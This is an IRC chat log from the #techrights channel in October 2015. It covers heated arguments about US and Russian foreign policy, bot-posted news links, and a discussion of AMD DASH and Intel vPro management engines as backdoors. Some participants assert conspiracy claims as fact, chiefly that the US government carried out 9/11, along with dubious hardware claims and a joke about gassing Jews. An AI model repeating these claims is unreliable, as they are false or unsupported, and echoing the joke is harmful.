| schestowitz | They used to have what is now Alaska too | Oct 04 21:05 |
| schestowitz | "DaemonFCMinceR, Puerto Rico is being treated terribly by the United States." | Oct 04 21:08 |
| schestowitz | Same as Guam and the Philippines, which is just being looted, not even a territory per se | Oct 04 21:09 |
| schestowitz | (except for military bases with bait for China to worry about) | Oct 04 21:09 |
| schestowitz | msb_: want to move to Russia? | Oct 04 21:09 |
| schestowitz | Maybe somewhere near Siberia? I heard it's lovely in summer | Oct 04 21:09 |
| schestowitz | you might even get a lada and some wheat | Oct 04 21:10 |
| schestowitz | don't complain in a blog or a personal site, some vigilante might do some regretful thing... | Oct 04 21:10 |
| schestowitz | People rush out of Russia (sometimes the capital too) not just as economic migrants | Oct 04 21:11 |
| msb_ | The US govt did the 911 attack. The WTC evidence proves it. Using the 911 false-flag as the pretext, the US then bombed, missiled, strafed and destr0yed the infrastructure of Afghanistan, Iraq, Libya, and most of Syria, murdering TWO MILLION PEOPLE. The govt has admitted that its excuse of "WMD in Iraq" was a lie. Other than annexing Crimea at its overwhelming request, Russia has done nothing like this. | Oct 04 21:11 |
| schestowitz | " | Oct 04 21:13 |
| schestowitz | msb__"Accuracy in Media" is an American ultra-rightwing propaganda organization.Sep 17 03:25 | Oct 04 21:13 |
| schestowitz | msb__So is "National Review" | Oct 04 21:13 |
| schestowitz | " | Oct 04 21:13 |
| schestowitz | The latter isn't | Oct 04 21:13 |
| msb_ | That depends on one's political orientation. | Oct 04 21:15 |
| *schestowitz reads msb_ rants in favour of Russia and against US | Oct 04 21:17 | |
| schestowitz | the main issue i have is, many regard the US as "good" | Oct 04 21:17 |
| schestowitz | and russia as "evil" | Oct 04 21:17 |
| schestowitz | but both are evil | Oct 04 21:17 |
| schestowitz | Some regard saudi and singapore as developed | Oct 04 21:17 |
| schestowitz | because they have money | Oct 04 21:17 |
| schestowitz | but they're just a bunch of barbarians | Oct 04 21:17 |
| schestowitz | so we need to change perceptions, to align with reality, not with who pays most to the media | Oct 04 21:18 |
| schestowitz | !google wikileaks saudi bribes media | Oct 04 21:18 |
| TechrightsBot-tr | [1] - The Saudi Cables - WikiLeaks | https://wikileaks.org/saudi-cables/press | Oct 04 21:18 |
| TechrightsBot-tr | [2] - Wikileaks: Here's What #SaudiCables Said About Tunisia | http://www.tunisia-live.net/2015/06/22/wikileaks-heres-what-we-learned-from-saudicables-part-1/ | Oct 04 21:18 |
| TechrightsBot-tr | [3] - 'Saudi Cables release is just one tenth of what we have' – WikiLeaks to | http://rt.com/news/268948-wikileaks-saudi-documents-new/%3F | Oct 04 21:18 |
| TechrightsBot-tr | [4] - Petrodollar Bribery, Smear Campaigns: The Wikileaks Saudi Cables ... | http://www.globalresearch.ca/petrodollar-bribery-smear-campaigns-the-wikileaks-saudi-cables/5459287 | Oct 04 21:18 |
| schestowitz | msb_: for the US to be bad doesn't require Russia to be "good" | Oct 04 21:18 |
| schestowitz | something in a fight it's not good vs evil | Oct 04 21:18 |
| schestowitz | but two evils | Oct 04 21:19 |
| schestowitz | same re stalin and hitler | Oct 04 21:19 |
| msb_ | There are degrees of evil. The US has recently destr0yed 4 nations and murdered two million people. Russia has not recently done anything like that, and is trying to protect what's left of Syria from ISIL and Al Qaeda. | Oct 04 21:19 |
| schestowitz | army and media at war also frame these as "good" vs "evil", like in children's book | Oct 04 21:19 |
| schestowitz | look what russia does around crimea and ukraine | Oct 04 21:19 |
| schestowitz | not unprovoked | Oct 04 21:19 |
| schestowitz | alas, it raises hell | Oct 04 21:19 |
| msb_ | It protected the people of Crimea. | Oct 04 21:20 |
| schestowitz | lol | Oct 04 21:20 |
| msb_ | Who asked for its protection. | Oct 04 21:20 |
| schestowitz | like Israel protected Syrians when it invaded and grabbed land from Syria | Oct 04 21:20 |
| msb_ | Red Herring | Oct 04 21:20 |
| schestowitz | Like the US protected south vietnam | Oct 04 21:20 |
| msb_ | Red Herring | Oct 04 21:20 |
| schestowitz | and firebombed the place | Oct 04 21:20 |
| schestowitz | and dumped toxins | Oct 04 21:21 |
| schestowitz | killing millions for many years to come | Oct 04 21:21 |
| schestowitz | "msb__The Crimeans voted to be part of Russia." | Oct 04 21:21 |
| schestowitz | Sock Doctrine | Oct 04 21:21 |
| schestowitz | *Shock | Oct 04 21:21 |
| schestowitz | which you like to cire | Oct 04 21:21 |
| schestowitz | *cite | Oct 04 21:22 |
| msb_ | None of which has any connection whatsoever to the events in Crimea. But you mention them to distract people's attention from that discussion. | Oct 04 21:22 |
| schestowitz | people vote for militant politicians when they're under war | Oct 04 21:22 |
| msb_ | They voted against the Nazi Ukraine government, which was bombing and shelling them, and voted to join Russia. | Oct 04 21:23 |
| schestowitz | Crimea made the right decision, if they voted this way at all, given what the Russian response made of the Ukraine... little better than Syria, esp. at the east | Oct 04 21:23 |
| msb_ | If Russia had protected other regions of East Ukraine, you would now be accusing them of being violent invaders. | Oct 04 21:24 |
| schestowitz | it didn't protect | Oct 04 21:26 |
| schestowitz | it annexed | Oct 04 21:26 |
| schestowitz | protect is the occupier's language | Oct 04 21:26 |
| schestowitz | protect from who? | Oct 04 21:26 |
| schestowitz | Kiev? | Oct 04 21:26 |
| schestowitz | the US "protected" Iraq | Oct 04 21:26 |
| schestowitz | the US "protected" Vietnam | Oct 04 21:26 |
| schestowitz | China "protected" Tibet | Oct 04 21:27 |
| schestowitz | John "protected" his wife | Oct 04 21:27 |
| msb_ | Four Red Herrings in a row. | Oct 04 21:27 |
| schestowitz | nope | Oct 04 21:27 |
| msb_ | Your propaganda technique is primitive. | Oct 04 21:28 |
| msb_ | How would Russia have protected Crimeans without annexing Crimea (which is what they voted for)? Fight an ongoing hot war with the Nazi Ukraine government with no end? | Oct 04 21:29 |
| schestowitz | protect from who? | Oct 04 21:29 |
| msb_ | Yes, protect from Kiev's bombers and artillery. | Oct 04 21:29 |
| schestowitz | The examples I gave are better | Oct 04 21:29 |
| schestowitz | because then there was legitimate threat | Oct 04 21:29 |
| schestowitz | not a made up one | Oct 04 21:30 |
| schestowitz | so kiev was going to bomb crimea? | Oct 04 21:30 |
| schestowitz | Why does not not do so not? | Oct 04 21:30 |
| schestowitz | It's within range, easily... | Oct 04 21:30 |
| msb_ | "Why does not not do so not?" does not parse | Oct 04 21:31 |
| schestowitz | why does it not do so now? | Oct 04 21:32 |
| schestowitz | " | Oct 04 21:33 |
| schestowitz | XRevan86Damn, Windows 10 doesn't violate Russian Federation law about information security because EULA.Sep 18 14:53 | Oct 04 21:33 |
| schestowitz | XRevan86Source: http://rapsinews.ru/incident_news/20150918/274582334.htmlSep 18 14:54 | Oct 04 21:33 |
| schestowitz | XRevan86That doesn't really make much sense. | Oct 04 21:33 |
| -TechrightsBot-tr/#techrights-rapsinews.ru | Роскомнадзор не нашел несоответствия деятельности Microsoft законам РФ | Новости | Российское агентство правовой и судебной информации - РАПСИ [ http://ur1.ca/nwxym ] | Oct 04 21:33 | |
| schestowitz | " | Oct 04 21:33 |
| schestowitz | Circular logic there | Oct 04 21:33 |
| schestowitz | Russian reversal maybe? | Oct 04 21:33 |
| schestowitz | In Russia, EULA comply with State! | Oct 04 21:34 |
| XRevan86 | schestowitz: Seems like it. | Oct 04 21:34 |
| schestowitz | "|also, i realized canada no longer has rule of law, thanks to harper.|" | Oct 04 21:38 |
| schestowitz | Even worse based on what I heard today from some of my wife's friends in Canada | Oct 04 21:38 |
| schestowitz | They're very immigration-hostile | Oct 04 21:38 |
| schestowitz | and they seem to be more blatant about it, Rump style | Oct 04 21:38 |
| schestowitz | " | Oct 04 21:39 |
| schestowitz | MinceRhttp://www.huffingtonpost.ca/2015/05/13/omnibus-budget-bill-rewri_n_7275002.htmlSep 19 03:12 | Oct 04 21:39 |
| schestowitz | MinceRit's like he's copying orbanSep 19 03:12 | Oct 04 21:39 |
| -TechrightsBot-tr/#techrights-www.huffingtonpost.ca | Harper Government Retroactively Rewrites Gun Registry Law [ http://ur1.ca/ncn7n ] | Oct 04 21:39 | |
| schestowitz | MinceR(who's copying putin) | Oct 04 21:39 |
| schestowitz | " | Oct 04 21:39 |
| schestowitz | it's more like the US model | Oct 04 21:39 |
| schestowitz | post-Revolution | Oct 04 21:39 |
| schestowitz | they still think it's 1776 | Oct 04 21:39 |
| schestowitz | and that the British might come back to occupy in their large boats | Oct 04 21:40 |
| schestowitz | (or maybe the Mexicans with their armalites and weaponised fishing boats ^_^ ) | Oct 04 21:40 |
| schestowitz | MinceR: better try use your EU citizenship and get a work visa in the UK... | Oct 04 21:41 |
| schestowitz | there's lack of FOSS skills here | Oct 04 21:41 |
| schestowitz | at the same time, a lot of the gov. moves to FOSS and must embrace ODF | Oct 04 21:42 |
| schestowitz | then find support contracts | Oct 04 21:42 |
| schestowitz | !google hungary libreoffice conference | Oct 04 21:42 |
| TechrightsBot-tr | [1] - Migration » LibreOffice Conference | https://conference.libreoffice.org/2015/the-program/talks/migration-user-experiance-and-marketing/ | Oct 04 21:42 |
| TechrightsBot-tr | [2] - Registration » LibreOffice Conference | https://conference.libreoffice.org/2015/registration/ | Oct 04 21:42 |
| TechrightsBot-tr | [3] - LibreOffice Conference — Milan — 2013 | http://conference.libreoffice.org/talks/2013/ | Oct 04 21:42 |
| TechrightsBot-tr | [4] - Native Language » LibreOffice Conference | https://conference.libreoffice.org/2015/the-program/talks/native-language-community-and-certifification/ | Oct 04 21:42 |
| schestowitz | it was said that hungary is very backwards in the sense, in the conference a few weeks ago | Oct 04 21:43 |
| *gde33 (kvirc@546A0B75.cm-12-3a.dynamic.ziggo.nl) has joined #techrights | Oct 04 21:43 | |
| MinceR | http://www.pidjin.net/2015/10/02/mein-car/ | Oct 04 21:46 |
| -TechrightsBot-tr/#techrights-www.pidjin.net | Mein Car - Fredo and Pidjin. The Webcomic. [ http://ur1.ca/nwy0r ] | Oct 04 21:46 | |
| MinceR | schestowitz: i can't afford to move yet | Oct 04 21:46 |
| MinceR | 215820 < schestowitz> MinceR: https://i.imgur.com/uouetAb.jpg maybe better for the ignorant | Oct 04 21:46 |
| MinceR | until it affects them | Oct 04 21:47 |
| MinceR | then suddenly it will get very bad for them | Oct 04 21:47 |
| schestowitz | " | Oct 04 21:50 |
| schestowitz | MinceRsurprise surprise, foreign investors and local businesses are fleeing the countrySep 19 22:30 | Oct 04 21:50 |
| schestowitz | MinceRonly the companies who made a pact with the government for cheap slave labor remain on the long term | Oct 04 21:50 |
| schestowitz | " | Oct 04 21:50 |
| schestowitz | Time for egg throwing at egghead nadella? | Oct 04 21:50 |
| schestowitz | MinceR: ok, if you ever want a new challenge, maybe I can personally do what I can to assist | Oct 04 21:50 |
| schestowitz | "MinceRdumbFuckBook violates people's privacy in every way they can and most people can't even conceive of not having a dumbFuckBook account" | Oct 04 21:53 |
| schestowitz | They still have Web browser with cookie support ^_^ | Oct 04 21:53 |
| schestowitz | So they're passive useds | Oct 04 21:53 |
| schestowitz | "Many years ago I participated in a cannabis test at the SF Veterans Hospital, and smoked some atrocious NIH pot." -msb__ | Oct 04 21:55 |
| schestowitz | the experiment succeeded | Oct 04 21:56 |
| msb_ | MinceR: Wouldn't Hitler _want_ the car to emit toxic gas? (For Jews, Gypsies...) | Oct 04 21:56 |
| MinceR | duh | Oct 04 21:56 |
| MinceR | schestowitz: egg throwing doesn't fix the laws | Oct 04 21:57 |
| MinceR | nor does it help enforce antitrust/antimonopoly law | Oct 04 21:57 |
| MinceR | though if the egg was launched at a sufficiently high velocity, that would be slightly different | Oct 04 21:57 |
| msb_ | schestowitz: Please explain: " <schestowitz> the experiment succeeded" | Oct 04 21:58 |
| MinceR | schestowitz: also, the UK won't be a great destination once cameron manages to ban encryption and leave the EU | Oct 04 21:59 |
| msb_ | schestowitz: Please explain: " <schestowitz> the experiment succeeded" | Oct 04 22:03 |
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| TweetTuxMachines | @tuxmachines Linux.Wifatch ‘malware’ is actually making | Oct 04 22:07 |
| TweetTuxMachines | routers more secure http://t.co/ZwrOKjc396 | Oct 04 22:07 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux.Wifatch ‘malware’ is actually making routers more secure | Tux Machines | Oct 04 22:07 | |
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| msb_ | schestowitz: No answer. I guess "the experiment succeeded" is yet another lying smear attack, like: "msb_'s nonsense", "want to move to Russia?", "msb_ rants". You use these because you've never disproved anything I've said. So you resort to lying smears and personal insults. | Oct 04 22:11 |
| MinceR | keep repeating that, maybe someone will believe it | Oct 04 22:12 |
| msb_ | schestowitz: I expect better from you, because you do such a good job of seeing through and exposing microsoft's lies and the dangers of swpats. | Oct 04 22:15 |
| MinceR | then it's no surprise he also sees through putin's propaganda | Oct 04 22:16 |
| schestowitz | "On one recent RT show, a journalist blamed Putin for 8,000 deaths in Donbass because he promised to protect the people there, and when they asked for autonomy and were shelled by the Kiev Nazi govt, Putin did nothing." | Oct 04 22:28 |
| schestowitz | LOl!!! | Oct 04 22:28 |
| schestowitz | RT says Putin too soft | Oct 04 22:28 |
| MinceR | he should try viagra | Oct 04 22:28 |
| schestowitz | lol | Oct 04 22:28 |
| schestowitz | putintin | Oct 04 22:28 |
| schestowitz | "can't" | Oct 04 22:28 |
| MinceR | maybe it would lessen the compulsion for the fascistic macho posturing | Oct 04 22:28 |
| schestowitz | does he have offsping? | Oct 04 22:29 |
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| schestowitz | /s/he/it/ | Oct 04 22:29 |
| MinceR | dunno | Oct 04 22:29 |
| schestowitz | RT criticises Putin | Oct 04 22:30 |
| schestowitz | for being too pacifist | Oct 04 22:30 |
| schestowitz | See? RT is "tough" on Putin | Oct 04 22:30 |
| MinceR | unfortunately, putin has bred | Oct 04 22:30 |
| schestowitz | Xrvan fled | Oct 04 22:30 |
| schestowitz | maybe could take the insults of putit-in | Oct 04 22:30 |
| MinceR | nah, he parts at random times | Oct 04 22:30 |
| schestowitz | ah, ok | Oct 04 22:31 |
| schestowitz | so we have a king | Oct 04 22:31 |
| schestowitz | now he had a heir | Oct 04 22:31 |
| schestowitz | time for a spare | Oct 04 22:31 |
| schestowitz | " | Oct 04 22:33 |
| schestowitz | __martin__"a Microsoft researcher worked with computer scientists from West Virginia University and UC Santa Barbara to create a Twitter platform called "Botivist," which acts as a tool for activists to recruit volunteers on social media for campaigns"Sep 22 21:27 | Oct 04 22:33 |
| schestowitz | __martin__"As for Microsoft’s involvement, the paper appears on the company's research site, although Savage said she was told not to talk about the company’s involvement. The Microsoft researcher, Andres Monroy-Hernandez, did not respond to my request for comment on why Microsoft took part in the work. The paper will be presented at the 2016 ACM conference on Computer-Supported Cooperative Work and SociaSep 22 21:28 | Oct 04 22:33 |
| schestowitz | __martin__l Computing, according to Microsoft’s site." | Oct 04 22:33 |
| schestowitz | " | Oct 04 22:33 |
| schestowitz | Marketing first | Oct 04 22:33 |
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| gde33 | this was great http://www.historytoday.com/peter-frankopan/world-we-have-lost | Oct 04 22:37 |
| -TechrightsBot-tr/#techrights-www.historytoday.com | The World We Have Lost | History Today [ http://ur1.ca/nwyas ] | Oct 04 22:37 | |
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| msb_ | wiki: 11,208 gun murders in 2013. Deaths from old age per year -- population / 70 = 4,500,000 Probability of getting killed with a gun = 1 in 400. | Oct 05 01:51 |
| msb_ | Murders committed by US govt in last 14 years = 2,000,000 | Oct 05 01:52 |
| *MinceR yawns | Oct 05 01:52 | |
| msb_ | Possibility of US govt committing a large number of murders in the US = unknown, but why should the murderous psychopaths who run the US govt be less likely to kill Americans than Iraqis or Afghanis? | Oct 05 01:53 |
| msb_ | MinceR should get some sleep if his brain isn't working. | Oct 05 01:54 |
| MinceR | and msb_ gets right to the personal attacks | Oct 05 01:54 |
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| MinceR | scraping the bottom of the barrel | Oct 05 01:54 |
| TweetTuxMachines | @tuxmachines Confirmation Of Substance Designer Being Ported | Oct 05 01:54 |
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| *MinceR wonders if the russian government is getting their money's worth | Oct 05 01:55 | |
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| msb_ | "MinceR yawns" is a personal attack. So is "MinceR wonders if the russian government is getting their money's worth" | Oct 05 01:55 |
| *MinceR 's biological processes are personal attacks | Oct 05 01:56 | |
| MinceR | everybody and everything is out to get msb_, it seems | Oct 05 01:56 |
| MinceR | even the arrow of time is out to get msb_ | Oct 05 01:56 |
| MinceR | http://www.cracked.com/blog/why-comparing-donald-trump-to-hitler-makes-perfect-sense/ | Oct 05 01:59 |
| -TechrightsBot-tr/#techrights-www.cracked.com | 5 Ways Donald Trump Perfectly Mirrors Hitler's Rise To Power | Cracked.com [ http://ur1.ca/nwzht ] | Oct 05 01:59 | |
| msb_ | The US govt has committed about 180 times as many murders in its 21st century military rampage as the number of people killed by guns in the US every year. | Oct 05 01:59 |
| MinceR | and now, a word from msb_'s sponsors... | Oct 05 02:01 |
| msb_ | Unless and until the US govt gets a sane leader, like Bernie Sanders (not H Clinton, who joyfully murdered Libya), Americans would do well to have guns ready to defend themselves against their murderous psychopath government. That said, taking guns away from people with a proved history of violence or actual threats of violence would be a good idea. | Oct 05 02:03 |
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| msb_ | RT just did a story about the Syrian Observatory For Human Rights, the source for many reports that Russia is bombing civilians in Syria. It turns out to be one guy in a house in Coventry England who hates Assad. | Oct 05 02:14 |
| msb_ | He wouldn't talk on camera because he says people are trying to kill him. | Oct 05 02:15 |
| msb_ | RT also showed about 5 pictures of dead people supposedly caused by Russian bombing in Syria, that were actually from Iraq, or last year, etc. | Oct 05 02:18 |
| MinceR | https://en.wikipedia.org/wiki/Human_rights_in_Russia | Oct 05 02:22 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Human rights in Russia - Wikipedia, the free encyclopedia [ http://ur1.ca/nwzlv ] | Oct 05 02:22 | |
| msb_ | This article, by Robert Parry, a long-time and highly respected US journalist explains why the US and Israel don't want to get rid of Al Qaeda (Al Nusrah) or ISIL in Syria. For one thing, it would make it more difficult for Israel to attack the Palestinians again. http://www.commondreams.org/views/2015/10/02/should-us-ally-al-qaeda-syria | Oct 05 02:26 |
| -TechrightsBot-tr/#techrights-www.commondreams.org | Should US Ally with Al Qaeda in Syria? | Common Dreams | Breaking News & Views for the Progressive Community [ http://ur1.ca/nwzmh ] | Oct 05 02:26 | |
| msb_ | The historical origins of the US/Israeli attacks on Syria and Assad, from the 1990s, also from Robert Parry: https://consortiumnews.com/2013/03/20/the-mysterious-why-of-the-iraq-war/ | Oct 05 02:38 |
| -TechrightsBot-tr/#techrights-consortiumnews.com | The Mysterious Why of the Iraq War | Consortiumnews [ http://ur1.ca/nwzob ] | Oct 05 02:38 | |
| MinceR | http://img.izismile.com/img/img8/20151001/1000/daily_gifdump_921_09.gif | Oct 05 02:52 |
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| msb_ | http://www.ifamericansknew.org/us_ints/nc-pilger.html Written by the award-winning British jounalist John Pilger (https://en.wikipedia.org/wiki/John_Pilger) this article covers the Neocon/Likud (ultra-fascist) organization PNAC and its position paper that says to carry out its attacks on Middle East nations, Americans will require for motivation "a new Pearl Harbor". Guess what that turned out to be! | Oct 05 03:10 |
| -TechrightsBot-tr/#techrights-www.ifamericansknew.org | “A New Pearl Harbor” [ http://ur1.ca/nwztq ] | Oct 05 03:10 | |
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| msb_ | It's easy to understand the world situation if you go back to the 1980s, when Reagan armed and financed the jihadi Mujahideen to defeat the Russian-allied liberal socialist government in Afghanistan. That led to the Taliban taking over, and the Mujahideen became Al Qaeda. The Neocons/Likudniks took it from there to the present. | Oct 05 03:33 |
| cubexyz | interesting | Oct 05 03:47 |
| cubexyz | I had a discussion with the PDP-11 experts | Oct 05 03:47 |
| cubexyz | there's no PDP-11 BIOS, it didn't exist | Oct 05 03:47 |
| cubexyz | and they declare the PC as 'broken hardware' | Oct 05 03:48 |
| cubexyz | the PDP-11 had only boot roms | Oct 05 03:49 |
| msb_ | For the PC being "broken hardware" I sure had a great time with it! | Oct 05 04:01 |
| cubexyz | back in 1984 I remember reading articles that were critical of the IBM PC | Oct 05 04:02 |
| msb_ | Far more powerful than the PDP-8/PDP-12 I was used to, much cheaper, and mine, all mine! | Oct 05 04:02 |
| msb_ | I eventually hung a color display on it with a high-res graphic card, a 720KB floppy, a 15MB hard drive, and bought the manual with the schematics and BIOS listing. | Oct 05 04:04 |
| msb_ | Bought the MS and Borland (much better) C compilers and taught myself programming. | Oct 05 04:05 |
| cubexyz | I think my first 286 had 1 meg of memory | Oct 05 04:06 |
| cubexyz | 640k with 384k extended memory | Oct 05 04:07 |
| cubexyz | no MMU and a rather awkward x86 memory segmentation scheme | Oct 05 04:08 |
| msb_ | I think you said I want an AMD mobo without DASH in the BIOS. But isn't DASH a microprocessor inside the CPU that can be activated without BIOS assistance? | Oct 05 04:08 |
| cubexyz | that's a good question | Oct 05 04:09 |
| cubexyz | part of it must be in the BIOS though | Oct 05 04:10 |
| msb_ | But can the govt get in without that part? | Oct 05 04:10 |
| msb_ | I want my 8 cores! Waah! | Oct 05 04:11 |
| cubexyz | with DASH someone could take full control of your computer | Oct 05 04:12 |
| msb_ | Can DASH be defeated by constantly overwriting the section of himem that it uses (if it works like AMT)? | Oct 05 04:12 |
| cubexyz | also DASH has a kill switch | Oct 05 04:12 |
| msb_ | I know! I read all your stuff! | Oct 05 04:13 |
| cubexyz | remember that there's a part of memory reserved for DASH that you can't write to | Oct 05 04:13 |
| msb_ | If the govt can get into DASH via the NIC, why can't I? | Oct 05 04:15 |
| cubexyz | you can | Oct 05 04:15 |
| msb_ | Hoo-hah! Then I can whack it! | Oct 05 04:16 |
| cubexyz | there are even advantages to using DASH, such as remote control of your computer | Oct 05 04:16 |
| cubexyz | I'm just worried that the bad guys and NSA can do the same | Oct 05 04:17 |
| cubexyz | it seems unnecessary to me as I can always do that via ssh | Oct 05 04:17 |
| cubexyz | DASH control seems more severe | Oct 05 04:18 |
| cubexyz | in theory if your laptop is stolen, DASH can kill it so the bad guy can't use it | Oct 05 04:19 |
| cubexyz | that's the idea anyways | Oct 05 04:19 |
| msb_ | Can a good stream-following firewall in a router keep the baddies out? | Oct 05 04:20 |
| cubexyz | see, DASH operates at a lower level that the OS | Oct 05 04:22 |
| cubexyz | that's the problem | Oct 05 04:23 |
| cubexyz | a smart hacker could turn your fans off | Oct 05 04:24 |
| msb_ | But the govt would still have to activate DASH by sending it some kind of packet(s). Can I keep those out with a firewall in a router? | Oct 05 04:24 |
| cubexyz | NSA can hack your router | Oct 05 04:25 |
| cubexyz | so I'd say probably it's not a great defense | Oct 05 04:25 |
| cubexyz | I know some hackers can KO the router... make it unresponsive | Oct 05 04:25 |
| cubexyz | that's annoying but not too serious | Oct 05 04:26 |
| cubexyz | I mean the whole DASH thing is a back door into the computer | Oct 05 04:27 |
| msb_ | Are there any secure routers? Could I make one from an SBC? | Oct 05 04:27 |
| cubexyz | the bad guys sometimes attack your ISP as well | Oct 05 04:28 |
| cubexyz | well yes, if you programmed the router yourself it would be quite hard to attack | Oct 05 04:28 |
| msb_ | Well, then I get disconnected, but I still have my data. | Oct 05 04:29 |
| cubexyz | sure | Oct 05 04:29 |
| cubexyz | business grade cisco routers are better than the store bought ones | Oct 05 04:30 |
| cubexyz | more expensive too | Oct 05 04:30 |
| msb_ | There's FOSS code for routers, so I could start from there. | Oct 05 04:30 |
| msb_ | Are the packets that activate DASH well defined? | Oct 05 04:30 |
| msb_ | I could make the router examine all packets and drop those (and give an alarm). | Oct 05 04:31 |
| cubexyz | it would be a lot simpler if there was no DASH capability on the motherboard | Oct 05 04:32 |
| msb_ | Are you sure it's required to access DASH in the CPU? | Oct 05 04:33 |
| msb_ | brb | Oct 05 04:34 |
| cubexyz | I think Intel Vpro is actually inside the CPU so AMD's version probably is as well | Oct 05 04:35 |
| cubexyz | it could be doing all sorts of stuff which is invisible to the user | Oct 05 04:36 |
| cubexyz | there's a 3G chip _inside_ the CPU | Oct 05 04:37 |
| cubexyz | a second processor inside the main one | Oct 05 04:37 |
| cubexyz | so the question is, does the NSA have a back door into these CPUs | Oct 05 04:38 |
| cubexyz | I don't see what the averager user can do to stop that | Oct 05 04:39 |
| cubexyz | Intel confirmed they have a kill switch | Oct 05 04:40 |
| cubexyz | it gets even better... | Oct 05 04:40 |
| cubexyz | there's out-of-band communications that a normal user can't even see or use | Oct 05 04:40 |
| cubexyz | it's a bit of a problem | Oct 05 04:41 |
| cubexyz | you get a specific RF knock-knock and... well who knows | Oct 05 04:45 |
| cubexyz | maybe look at the snowden stuff if there's a torrent or something | Oct 05 04:47 |
| msb_ | But if I don't use wifi at all -- short the antenna to ground if necessary -- then my only connection is via the TV cable. So if I put a total packet inspection router in the wire to the cable modem, I should be able to stop all DASH-bound packets, if I can identify them. | Oct 05 04:51 |
| msb_ | brb | Oct 05 04:55 |
| cubexyz | "commands can be received via 3G signals, ethernet or other internet connections | Oct 05 05:16 |
| cubexyz | " | Oct 05 05:16 |
| cubexyz | there are two TCP/IP stacks! | Oct 05 05:23 |
| cubexyz | one in the firmware, and one in the OS | Oct 05 05:23 |
| msb_ | Right, but I have complete control of what's connected to the NIC(s), and can eliminate everything but the ethernet cable to my cable-modem. | Oct 05 05:42 |
| msb_ | Since DASH is supposed to be for corps to control their computers, the DASH commo protocol must be available. | Oct 05 05:45 |
| msb_ | Plus, the router SBC or another one on my side of the router, can keep sending DASH packets shutting it down. | Oct 05 05:50 |
| msb_ | cubexyz: This could be done by anyone, even someone using wifi, if they put the wifi transceiver on the far side of the router. | Oct 05 05:51 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Parsix GNU/Linux 8.5 "Atticus" Is One of the First Distributions with GNOME 3.18 - Softpedia | Oct 05 10:13 | |
| TweetTuxMachines | @tuxmachines Manjaro Update 2015-10-04 (testing) | Oct 05 10:15 |
| TweetTuxMachines | https://t.co/9769caRK5L (manjaro.github.io) | Oct 05 10:15 |
| -TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro Update 2015-10-04 (testing) – Manjaro Linux – Enjoy the simplicity | Oct 05 10:15 | |
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| *TweetTuxMachines @Tech_Switz favourited '"485 out of 500 systems were using Linux"...' | Oct 05 10:15 | |
| TweetTuxMachines | @tuxmachines Scibuntu 0.4 Beta Is Out, Transforms Ubuntu | Oct 05 10:19 |
| TweetTuxMachines | Into an OS for Scientists and Science Students | Oct 05 10:19 |
| TweetTuxMachines | http://t.co/9DYhNj8uas (linux.softpedia.com) | Oct 05 10:19 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Scibuntu 0.4 Beta Is Out, Transforms Ubuntu Into an OS for Scientists and Science Students - Softpedia | Oct 05 10:19 | |
| TweetTuxMachines | @tuxmachines Canonical launches new #InternetOfToys | Oct 05 10:19 |
| TweetTuxMachines | initiative with partners http://t.co/QoiDJT33Sa | Oct 05 10:19 |
| TweetTuxMachines | (insights.ubuntu.com) another buzzword. | Oct 05 10:20 |
| -TechrightsBot-tr/#techrights-insights.ubuntu.com | Canonical launches new ‘#InternetOfToys’ initiative with partners | Ubuntu Insights | Oct 05 10:20 | |
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| TweetTuxMachines | @tuxmachines Meet #WorldWithoutLinux Animator Amelia Lorenz | Oct 05 10:20 |
| TweetTuxMachines | http://t.co/3X0oIAx8mZ (www.linux.com) | Oct 05 10:20 |
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| -TechrightsBot-tr/#techrights-www.linux.com | Meet #WorldWithoutLinux Animator Amelia Lorenz | Linux.com | Oct 05 10:20 | |
| TweetTuxMachines | @tuxmachines The @LinuxFoundation Announces Project to | Oct 05 10:20 |
| TweetTuxMachines | Advance Real-Time Linux http://t.co/XruaBZcJQi | Oct 05 10:20 |
| TweetTuxMachines | (www.marketwatch.com) | Oct 05 10:20 |
| -TechrightsBot-tr/#techrights-www.marketwatch.com | The Linux Foundation Announces Project to Advance Real-Time Linux - MarketWatch | Oct 05 10:20 | |
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| TweetTuxMachines | @tuxmachines AVTEST Laboratory Says Free Anti-Virus Apps on | Oct 05 10:55 |
| TweetTuxMachines | Linux Are the Worst http://t.co/KHBpMKU7vm | Oct 05 10:55 |
| TweetTuxMachines | (news.softpedia.com) | Oct 05 10:55 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | AV-TEST Laboratory Says Free Anti-Virus Apps on Linux Are the Worst - Softpedia | Oct 05 10:55 | |
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| TweetTuxMachines | @tuxmachines Links 4/10/2015: Linux 4.2.3 , 4.1.10; MPlayer | Oct 05 10:55 |
| TweetTuxMachines | retweeted by 1.2 released http://t.co/QDR0RwXlZb | Oct 05 10:55 |
| TweetTuxMachines | @schestowitz (techrights.org) | Oct 05 10:55 |
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| -TechrightsBot-tr/#techrights-techrights.org | Links 4/10/2015: Linux 4.2.3 , 4.1.10; MPlayer 1.2 released | Techrights | Oct 05 10:55 | |
| TweetTuxMachines | @tuxmachines Scibuntu 0.4 Beta Is Out, Transforms Ubuntu | Oct 05 10:55 |
| TweetTuxMachines | Into an OS for Scientists and Science Students | Oct 05 10:55 |
| TweetTuxMachines | http://t.co/wrZ3dMCvWU (www.tuxmachines.org) | Oct 05 10:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Scibuntu 0.4 Beta Is Out, Transforms Ubuntu Into an OS for Scientists and Science Students | Tux Machines | Oct 05 10:55 | |
| TweetTuxMachines | @tuxmachines Canonical launches new ‘#InternetOfToys’ | Oct 05 10:55 |
| TweetTuxMachines | initiative with partners http://t.co/lROmiM5Jqr | Oct 05 10:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Canonical launches new ‘#InternetOfToys’ initiative with partners | Tux Machines | Oct 05 10:55 | |
| TweetTuxMachines | @tuxmachines Meet #WorldWithoutLinux Animator Amelia Lorenz | Oct 05 10:55 |
| TweetTuxMachines | http://t.co/gXMLVqCzTO (www.tuxmachines.org) | Oct 05 10:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Meet #WorldWithoutLinux Animator Amelia Lorenz | Tux Machines | Oct 05 10:55 | |
| TweetTuxMachines | @tuxmachines The Linux Foundation Announces Project to | Oct 05 10:56 |
